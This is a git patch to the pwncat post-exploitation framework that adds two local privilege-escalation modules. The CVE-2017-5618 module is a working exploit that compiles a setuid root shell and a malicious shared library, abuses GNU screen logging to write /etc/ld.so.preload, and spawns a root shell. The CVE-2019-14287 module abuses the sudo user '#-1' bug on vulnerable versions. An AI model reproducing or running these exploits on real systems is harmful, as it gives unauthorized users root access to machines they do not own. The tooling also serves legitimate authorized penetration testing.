From 87c4f6ee77fb04db44d2e4607885ed5dcf276146 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Mon, 31 May 2021 17:10:34 -0400 Subject: [PATCH] Added CVE-2019-14287 and CVE-2017-5618 modules --- pwncat/facts/ability.py | 10 +- .../{screen.py => screen/__init__.py} | 4 +- .../software/screen/cve-2017-5618.py | 173 ++++++++++++++++++ .../enumerate/software/sudo/cve-2019-14287.py | 76 ++++++++ pwncat/platform/__init__.py | 4 +- 5 files changed, 258 insertions(+), 9 deletions(-) rename pwncat/modules/linux/enumerate/software/{screen.py => screen/__init__.py} (97%) create mode 100644 pwncat/modules/linux/enumerate/software/screen/cve-2017-5618.py create mode 100644 pwncat/modules/linux/enumerate/software/sudo/cve-2019-14287.py diff --git a/pwncat/facts/ability.py b/pwncat/facts/ability.py index 43e8211..9bb2ded 100644 --- a/pwncat/facts/ability.py +++ b/pwncat/facts/ability.py @@ -3,12 +3,12 @@ import shlex import functools import subprocess from io import TextIOWrapper -from typing import Any, IO, Callable +from typing import IO, Any, Callable import pwncat.subprocess +from pwncat.db import Fact from pwncat.gtfobins import Stream, Capability from pwncat.platform.linux import LinuxReader, LinuxWriter -from pwncat.db import Fact def build_gtfo_ability( @@ -200,7 +200,7 @@ class GTFOFileRead(FileReadAbility): else: description = "" - return f"file read as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user}" + return f"file read as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user} ([magenta]{self.source}[/magenta])" class GTFOFileWrite(FileWriteAbility): @@ -279,7 +279,7 @@ class GTFOFileWrite(FileWriteAbility): else: description = "" - return f"file write as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user}" + return f"file write as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user} ([magenta]{self.source}[/magenta])" class GTFOExecute(ExecuteAbility): @@ -351,4 +351,4 @@ class GTFOExecute(ExecuteAbility): else: description = "" - return f"shell as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user}" + return f"shell as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user} ([magenta]{self.source}[/magenta])" diff --git a/pwncat/modules/linux/enumerate/software/screen.py b/pwncat/modules/linux/enumerate/software/screen/__init__.py similarity index 97% rename from pwncat/modules/linux/enumerate/software/screen.py rename to pwncat/modules/linux/enumerate/software/screen/__init__.py index 117eeba..7d36454 100644 --- a/pwncat/modules/linux/enumerate/software/screen.py +++ b/pwncat/modules/linux/enumerate/software/screen/__init__.py @@ -79,13 +79,13 @@ class Module(EnumerateModule): if perms & 0o4000: # if this is executable - screen_paths.append(path) + screen_paths.append((path, perms)) # Clean up the search proc.wait() # Now, check each screen version to determine if it is vulnerable - for screen_path in screen_paths: + for screen_path, perms in screen_paths: version_output = session.platform.Popen( f"{screen_path} --version", shell=True, diff --git a/pwncat/modules/linux/enumerate/software/screen/cve-2017-5618.py b/pwncat/modules/linux/enumerate/software/screen/cve-2017-5618.py new file mode 100644 index 0000000..751e450 --- /dev/null +++ b/pwncat/modules/linux/enumerate/software/screen/cve-2017-5618.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +import re +import textwrap +import subprocess +from io import StringIO + +from pwncat.facts import ExecuteAbility +from pwncat.modules import ModuleFailed +from pwncat.platform import PlatformError +from pwncat.subprocess import CalledProcessError +from pwncat.platform.linux import Linux +from pwncat.modules.enumerate import Schedule, EnumerateModule + + +class CVE_2017_5618(ExecuteAbility): + """ Exploit CVE-2017-5618 """ + + def __init__(self, source: str, screen): + super().__init__(source=source, source_uid=None, uid=0) + + self.screen = screen + + def shell(self, session: "pwncat.manager.Session"): + """ Execute a shell """ + + # Write the rootshell source code + rootshell_source = textwrap.dedent( + f""" + #include + #include + int main(void){{ + setreuid(0,0); + setregid(0,0); + const char* x[] = {{"/bin/sh","-p",NULL}}; + execvp(x[0], x); + }} + """ + ).lstrip() + + with session.platform.tempfile(mode="w", directory="/tmp") as filp: + rootshell = filp.name + + # Compile the rootshell binary + try: + rootshell = session.platform.compile( + [StringIO(rootshell_source)], output=rootshell + ) + except PlatformError as exc: + raise ModuleFailed(f"compilation failed: {exc}") from exc + + # Write the library + libhack_source = textwrap.dedent( + f""" + #include + #include + #include + __attribute__ ((__constructor__)) + void dropshell(void){{ + chown("{rootshell}", 0, 0); + chmod("{rootshell}", 04755); + unlink("/etc/ld.so.preload"); + }} + """ + ).lstrip() + + # Compile libhack + try: + libhack_so = session.platform.compile( + [StringIO(libhack_source)], + cflags=["-fPIC", "-shared"], + ldflags=["-ldl"], + ) + except PlatformError as exc: + session.platform.Path(rootshell).unlink() + raise ModuleFailed("compilation failed: {exc}") from exc + + # Switch to /etc but save our previous directory so we can return to it + old_cwd = session.platform.chdir("/etc") + + # Run screen with our library, saving the umask before changing it + start_umask = session.platform.umask() + session.platform.umask(0o000) + + # Run screen, loading our library and causing our rootshell to be SUID + session.platform.run( + [ + self.screen.path, + "-D", + "-m", + "-L", + "ld.so.preload", + "echo", + "-ne", + libhack_so, + ], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + check=True, + ) + + # Trigger the exploit + try: + session.platform.run( + [self.screen.path, "-ls"], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + check=True, + ) + except CalledProcessError: + # This normally has a non-zero returncode + pass + + # We no longer need the shared object + session.platform.Path(libhack_so).unlink() + + # Reset umask to the saved value + session.platform.umask(start_umask) + + # Hop back to the original directory + try: + session.platform.chdir(old_cwd) + except (FileNotFoundError, NotADirectoryError, PermissionError): + # Maybe we don't have permissions to go back? + pass + + # Check if the file is owned by root + if session.platform.Path(rootshell).owner() != "root": + # Ensure the files are removed + session.platform.Path(rootshell).unlink() + + raise ModuleFailed("failed to create root shell") + + # Start the root shell! + proc = session.platform.Popen( + [rootshell], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + + # Detach. This new shell becomes our primary shell + proc.detach() + + if session.platform.refresh_uid() != 0: + session.platform.channel.send(b"exit\n") + raise ModuleFailed("failed to get root shell (is nosuid set on /tmp?)") + + # Remove the rootshell + session.platform.Path(rootshell).unlink() + + return lambda s: s.platform.channel.send(b"exit\n") + + def title(self, session): + """ Grab the description for this fact """ + + return f"[cyan]{self.screen.path}[/cyan] vulnerable to [red]CVE-2017-5618[/red]" + + +class Module(EnumerateModule): + """ Identify systems vulnerable to CVE-2017-5618 """ + + PROVIDES = ["ability.execute"] + PLATFORM = [Linux] + SCHEDULE = Schedule.PER_USER + + def enumerate(self, session: "pwncat.manager.Session"): + """ check for vulnerable screen versions """ + + for screen in session.run("enumerate", types=["software.screen.version"]): + if not screen.vulnerable or (screen.perms & 0o4000) == 0: + continue + + yield CVE_2017_5618(self.name, screen) diff --git a/pwncat/modules/linux/enumerate/software/sudo/cve-2019-14287.py b/pwncat/modules/linux/enumerate/software/sudo/cve-2019-14287.py new file mode 100644 index 0000000..b9df15d --- /dev/null +++ b/pwncat/modules/linux/enumerate/software/sudo/cve-2019-14287.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python3 +from packaging import version +from pwncat.facts import build_gtfo_ability +from pwncat.modules import ModuleFailed +from pwncat.gtfobins import Capability +from pwncat.platform.linux import Linux +from pwncat.modules.enumerate import Schedule, EnumerateModule + + +class Module(EnumerateModule): + """Identify systems vulnerable to CVE-2019-14287: Sudo Bug + Allows Restricted Users to Run Commands as Root.""" + + PROVIDES = ["ability.execute", "ability.file.write", "ability.file.read"] + PLATFORM = [Linux] + SCHEDULE = Schedule.PER_USER + + def enumerate(self, session: "pwncat.manager.Session"): + """ Check for vulnerability """ + + try: + # Utilize the version enumeration to grab sudo version + sudo_info = session.run("enumerate", types="software.sudo.version")[0] + except IndexError as exc: + raise ModuleFailed("no sudo version found") from exc + + # This vulnerability was patched in 1.8.28 + if version.parse(sudo_info.version) >= version.parse("1.8.28"): + return + + # Grab the current user/group + current_user = session.current_user() + current_group = session.find_group(gid=current_user.gid) + + # Iterate over all sudo rules + for rule in session.run("enumerate", types=["software.sudo.rule"]): + # We only care about command rules + if not rule.matched: + continue + + # User doesn't match us and we don't specify a group in the rule + if ( + rule.user != "ALL" + and rule.user != current_user.name + and rule.group is None + ): + continue + + # Ensure we match one of the groups + if rule.group is not None: + for group in session.iter_groups(members=[current_user.id]): + if rule.group == group.name: + break + else: + if rule.group != current_group.name: + continue + + # Grab a list of user names which we can run as + userlist = [x.strip() for x in rule.runas_user.split(",")] + + # This exploits a specific non-standard configuration + # with these two runas users listed. + if "ALL" in userlist and "!root" in userlist: + for command in rule.commands: + for method in session.platform.gtfo.iter_sudo( + command, caps=Capability.ALL + ): + # Build a generic GTFO bins capability + yield build_gtfo_ability( + source=self.name, + uid=0, + method=method, + source_uid=current_user.id, + user="\\#-1", + spec=command, + ) diff --git a/pwncat/platform/__init__.py b/pwncat/platform/__init__.py index 82695e168..c0f70ec 100644 --- a/pwncat/platform/__init__.py +++ b/pwncat/platform/__init__.py @@ -145,7 +145,7 @@ class Path: """Returns the name of the group owning the file. KeyError is raised if the file's GID isn't found in the system database.""" - return self._target.session.find_group(id=self.stat().st_gid).name + return self._target.session.find_group(gid=self.stat().st_gid).name def is_dir(self) -> bool: """Returns True if the path points to a directory (or a symbolic link @@ -278,7 +278,7 @@ class Path: """Return the name of the user owning the file. KeyError is raised if the file's uid is not found in the System database""" - return self._target.session.find_user(id=self.stat().st_uid).name + return self._target.session.find_user(uid=self.stat().st_uid).name def read_bytes(self) -> bytes: """Return the binary contents of the pointed-to file as a bytes object"""